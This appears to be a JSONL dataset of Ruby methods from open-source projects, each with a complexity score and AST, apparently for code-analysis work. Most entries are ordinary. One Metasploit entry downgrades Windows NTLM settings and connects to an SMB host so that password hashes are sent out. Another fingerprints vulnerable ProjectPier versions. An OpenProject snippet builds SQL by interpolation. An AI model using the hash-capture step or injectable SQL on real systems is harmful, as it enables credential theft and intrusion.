{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/actions/filters/id_filter.rb","start_line":46,"raw_source":"def value_conditions\n    split_values.map do |value|\n      \"id = '#{value[:action]}'\"\n    end\n  end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"value_conditions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"split_values\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"id = '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"action\"]}]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]}","id":"d3ed32c1-106a-4f7d-95d8-23ec655233a4"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/rails31.rb","start_line":1067,"raw_source":"def test_sql_injection_with_interpolated_value\n    assert_warning :type => :warning,\n      :warning_code => 0,\n      :fingerprint => \"b4dff795ce1504c9273a13add535c895ceb920e9091ddfff614fd2ea4c3696ed\",\n      :warning_type => \"SQL Injection\",\n      :line => 33,\n      :message => /^Possible\\ SQL\\ injection/,\n      :confidence => 1,\n      :relative_path => \"app/models/user.rb\",\n      :user_input => s(:lvar, :parent_id)\n  end","complexity_score":2.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_sql_injection_with_interpolated_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_warning\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"warning\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fingerprint\"]},{\"type\":\"str\",\"children\":[\"b4dff795ce1504c9273a13add535c895ceb920e9091ddfff614fd2ea4c3696ed\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"SQL Injection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line\"]},{\"type\":\"int\",\"children\":[33]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^Possible\\\\ SQL\\\\ injection\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relative_path\"]},{\"type\":\"str\",\"children\":[\"app/models/user.rb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_input\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lvar\"]},{\"type\":\"sym\",\"children\":[\"parent_id\"]}]}]}]}]}]}","id":"d33f27d3-694d-418b-ab10-ff2e752e7e76"}
{"repo_name":"blueprinter","file_path":"./repos/blueprinter/lib/blueprinter/extractors/association_extractor.rb","start_line":29,"raw_source":"def default_value(association_options)\n      return association_options.fetch(:default) if association_options.key?(:default)\n\n      Blueprinter.configuration.association_default\n    end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"default_value\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"association_options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"association_options\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"default\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"association_options\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"default\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Blueprinter\"]},\"configuration\"]},\"association_default\"]}]}]}","id":"9fdf1aa7-ddc9-4048-9479-6a726e57c854"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/netlm_downgrade.rb","start_line":67,"raw_source":"def run\n    @needs_cleanup = false\n\n    hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer']\n    print_status(\"Running module against #{hostname} (#{session.session_host})\")\n\n    # Running as SYSTEM and will not pass any network credentials\n    fail_with(Failure::BadConfig, 'Running as SYSTEM. This module should be run as a user.') if is_system?\n\n    @original_lm_compat = lm_compatibility_level\n\n    if @original_lm_compat == 0\n      print_good(\"NetLM authentication is already required on this system (LmCompatibilityLevel: #{@original_lm_compat})\")\n    else\n      print_status(\"NetLM authentication is disabled (LmCompatibilityLevel: #{@original_lm_compat.inspect}). Enabling ...\")\n      set_lm_compatibility_level(0)\n      fail_with(Failure::Unknown, 'Could not enable NetLM authentication') unless lm_compatibility_level == 0\n      @needs_cleanup = true\n      print_good('NetLM authentication is enabled')\n    end\n\n    # call smb_connect method to pass network hashes\n    smb_connect(datastore['SMBHOST'])\n  end","complexity_score":35.4,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@needs_cleanup\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"hostname\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sysinfo\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"str\",\"children\":[\"hostname\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sysinfo\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Computer\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Running module against \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hostname\"]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"session_host\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_system?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"str\",\"children\":[\"Running as SYSTEM. This module should be run as a user.\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@original_lm_compat\",{\"type\":\"send\",\"children\":[null,\"lm_compatibility_level\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@original_lm_compat\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"NetLM authentication is already required on this system (LmCompatibilityLevel: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@original_lm_compat\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"NetLM authentication is disabled (LmCompatibilityLevel: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@original_lm_compat\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\"). Enabling ...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"set_lm_compatibility_level\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lm_compatibility_level\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Could not enable NetLM authentication\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@needs_cleanup\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"NetLM authentication is enabled\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"smb_connect\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SMBHOST\"]}]}]}]}]}","id":"33abff55-81b6-4a7f-8f6b-206714b26d24"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/seeders/demo_data/work_package_seeder.rb","start_line":269,"raw_source":"def working_days\n        @working_days ||= WorkPackages::Shared::WorkingDays.new\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"working_days\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@working_days\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackages\"]},\"Shared\"]},\"WorkingDays\"]},\"new\"]}]}]}","id":"87fe7a72-704c-479b-b801-156b19ab1124"}
{"repo_name":"rails","file_path":"./repos/rails/actioncable/test/channel/stream_test.rb","start_line":358,"raw_source":"def subscribed\n      stream_from \"main_room\"\n      stream_from \"test_all_rooms\"\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"subscribed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stream_from\",{\"type\":\"str\",\"children\":[\"main_room\"]}]},{\"type\":\"send\",\"children\":[null,\"stream_from\",{\"type\":\"str\",\"children\":[\"test_all_rooms\"]}]}]}]}","id":"c53b29d5-0a1f-45e6-8445-cdecadc8faea"}
{"repo_name":"rails","file_path":"./repos/rails/tools/rail_inspector/lib/rail_inspector/changelog.rb","start_line":276,"raw_source":"def parser\n        @parser ||= Parser.new(content)\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"parser\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@parser\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Parser\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"content\"]}]}]}]}","id":"09d711d2-c477-447a-b9aa-46ae630fdfe7"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/backup_restore/backuper.rb","start_line":73,"raw_source":"def ensure_we_have_a_user\n      raise Discourse::InvalidParameters.new(:user_id) unless @user\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_we_have_a_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"InvalidParameters\"]},\"new\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]}]}]}","id":"10fba21b-cd9e-4fa0-b3ef-b9acda280bc3"}
{"repo_name":"spree","file_path":"./repos/spree/api/app/controllers/spree/api/v2/storefront/stores_controller.rb","start_line":16,"raw_source":"def resource\n            @resource ||= scope.find_by!(code: params[:code])\n          end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"resource\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@resource\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope\"]},\"find_by!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"code\"]}]}]}]}]}]}]}","id":"2e78de65-9d08-457a-8d68-a446e8529b18"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/middleware/cookies.rb","start_line":324,"raw_source":"def initialize(request)\n        @set_cookies = {}\n        @delete_cookies = {}\n        @request = request\n        @cookies = {}\n        @committed = false\n      end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@set_cookies\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@delete_cookies\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@request\",{\"type\":\"lvar\",\"children\":[\"request\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@cookies\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@committed\",{\"type\":\"false\",\"children\":[]}]}]}]}","id":"b852a50a-2ae1-4aaa-ab5e-47c75523ade2"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/work_package/pdf_export/report/attributes.rb","start_line":62,"raw_source":"def attribute_data_list(work_package)\n    attributes_data_by_columns\n      .map { |entry| entry.merge({ value: get_column_value_cell(work_package, entry[:name]) }) }\n  end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"attribute_data_list\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_package\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attributes_data_by_columns\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entry\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[null,\"get_column_value_cell\",{\"type\":\"lvar\",\"children\":[\"work_package\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]}]}]}]}","id":"3ea5d642-ed18-43ef-ad58-7ed9b20207d7"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/notifications.rb","start_line":2,"raw_source":"def self.user_data(user)\n    {\n      id: user.id,\n      class: { name: \"User\" },\n      name: user.name,\n      username: user.username,\n      path: user.path,\n      profile_image_90: user.profile_image_90,\n      comments_count: user.comments_count,\n      created_at: user.created_at\n    }\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"user_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"User\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"profile_image_90\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"profile_image_90\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"comments_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"comments_count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"created_at\"]}]}]}]}","id":"14ba7c99-1bf9-4566-8bdb-db233e2f219c"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/accounts/teams_controller.rb","start_line":27,"raw_source":"def fetch_team\n    @team = Current.account.teams.find(params[:id])\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_team\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@team\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Current\"]},\"account\"]},\"teams\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}","id":"e18f779b-2ec2-4af2-b4a6-7be2298f5e8a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/load_balancing/configuration.rb","start_line":101,"raw_source":"def service_discovery_enabled?\n          return false if Gitlab::Runtime.rake?\n\n          service_discovery[:record].present?\n        end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"service_discovery_enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Runtime\"]},\"rake?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"service_discovery\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"record\"]}]},\"present?\"]}]}]}","id":"29d0c30b-03fd-4074-95b4-b574b5961ff8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/group.rb","start_line":1259,"raw_source":"def hook_attrs\n    {\n      group_name: name,\n      group_path: path,\n      group_id: id,\n      full_path: full_path\n    }\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"hook_attrs\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_name\"]},{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_path\"]},{\"type\":\"send\",\"children\":[null,\"path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"full_path\"]},{\"type\":\"send\",\"children\":[null,\"full_path\"]}]}]}]}","id":"2994a199-628c-4695-8201-3791a74b6f4c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/projectpier_upload_exec.rb","start_line":60,"raw_source":"def check\n    uri = normalize_uri(target_uri.path)\n    uri << '/' if uri[-1, 1] != '/'\n    base = File.dirname(\"#{uri}.\")\n\n    res = send_request_cgi(\n      {\n        'method' => 'GET',\n        'uri' => normalize_uri(\"#{base}/index.php\"),\n        'vars_get' =>\n          {\n            'c' => 'access',\n            'a' => 'login'\n          }\n      }\n    )\n\n    if res and res.body =~ /Welcome to ProjectPier 0\\.8\\.[0-8]/ and res.headers['Server'] =~ /^Apache/\n      return Exploit::CheckCode::Appears\n    else\n      return Exploit::CheckCode::Safe\n    end\n  end","complexity_score":21.35,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"[]\",{\"type\":\"int\",\"children\":[-1]},{\"type\":\"int\",\"children\":[1]}]},\"!=\",{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"<<\",{\"type\":\"str\",\"children\":[\"/\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"base\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"dirname\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]}]},{\"type\":\"str\",\"children\":[\"/index.php\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"c\"]},{\"type\":\"str\",\"children\":[\"access\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"str\",\"children\":[\"login\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Welcome to ProjectPier 0\\\\.8\\\\.[0-8]\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Server\"]}]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^Apache\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}]}]}","id":"66530ff7-ab49-4748-b08a-30aba0aeda68"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/test_case.rb","start_line":415,"raw_source":"def method_missing(selector, ...)\n        begin\n          routes = @controller.respond_to?(:_routes) && @controller._routes\n        rescue\n          # Don't call routes, if there is an error on _routes call\n        end\n\n        if routes &&\n           (routes.named_routes.route_defined?(selector) ||\n             routes.mounted_helpers.method_defined?(selector))\n          @controller.__send__(selector, ...)\n        else\n          super\n        end\n      end","complexity_score":16.2,"ast_json":"{\"type\":\"def\",\"children\":[\"method_missing\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"selector\"]},{\"type\":\"forward_arg\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"routes\",{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"_routes\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"_routes\"]}]}]},{\"type\":\"resbody\",\"children\":[null,null,null]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"routes\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"routes\"]},\"named_routes\"]},\"route_defined?\",{\"type\":\"lvar\",\"children\":[\"selector\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"routes\"]},\"mounted_helpers\"]},\"method_defined?\",{\"type\":\"lvar\",\"children\":[\"selector\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"__send__\",{\"type\":\"lvar\",\"children\":[\"selector\"]},{\"type\":\"forwarded_args\",\"children\":[]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}]}","id":"a9a92ffc-1ff7-479a-8330-836a3f4d62c8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/oidc/step_up_authentication_flow.rb","start_line":35,"raw_source":"def expired?\n          check_and_save_if_step_up_auth_expired!\n\n          state.to_s == STATE_EXPIRED.to_s\n        end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"expired?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"check_and_save_if_step_up_auth_expired!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"state\"]},\"to_s\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"STATE_EXPIRED\"]},\"to_s\"]}]}]}]}","id":"6eb6361c-e455-4290-9d3a-6984186f1c18"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/spec/spec_helper.rb","start_line":16,"raw_source":"def with_modified_env(options, &)\n    ClimateControl.modify(options, &)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"with_modified_env\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]},{\"type\":\"blockarg\",\"children\":[null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ClimateControl\"]},\"modify\",{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"block_pass\",\"children\":[null]}]}]}","id":"3c3a91e6-fe99-4993-b1b9-146f863ac7e6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/import/placeholder_references/pusher.rb","start_line":70,"raw_source":"def map_to_personal_namespace_owner?(project)\n        project.root_ancestor.user_namespace? &&\n          project.import_data.user_mapping_to_personal_namespace_owner_enabled?\n      end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"map_to_personal_namespace_owner?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"root_ancestor\"]},\"user_namespace?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"import_data\"]},\"user_mapping_to_personal_namespace_owner_enabled?\"]}]}]}","id":"7ecc6d9d-3d0e-41e4-a02b-ffe502ebe500"}
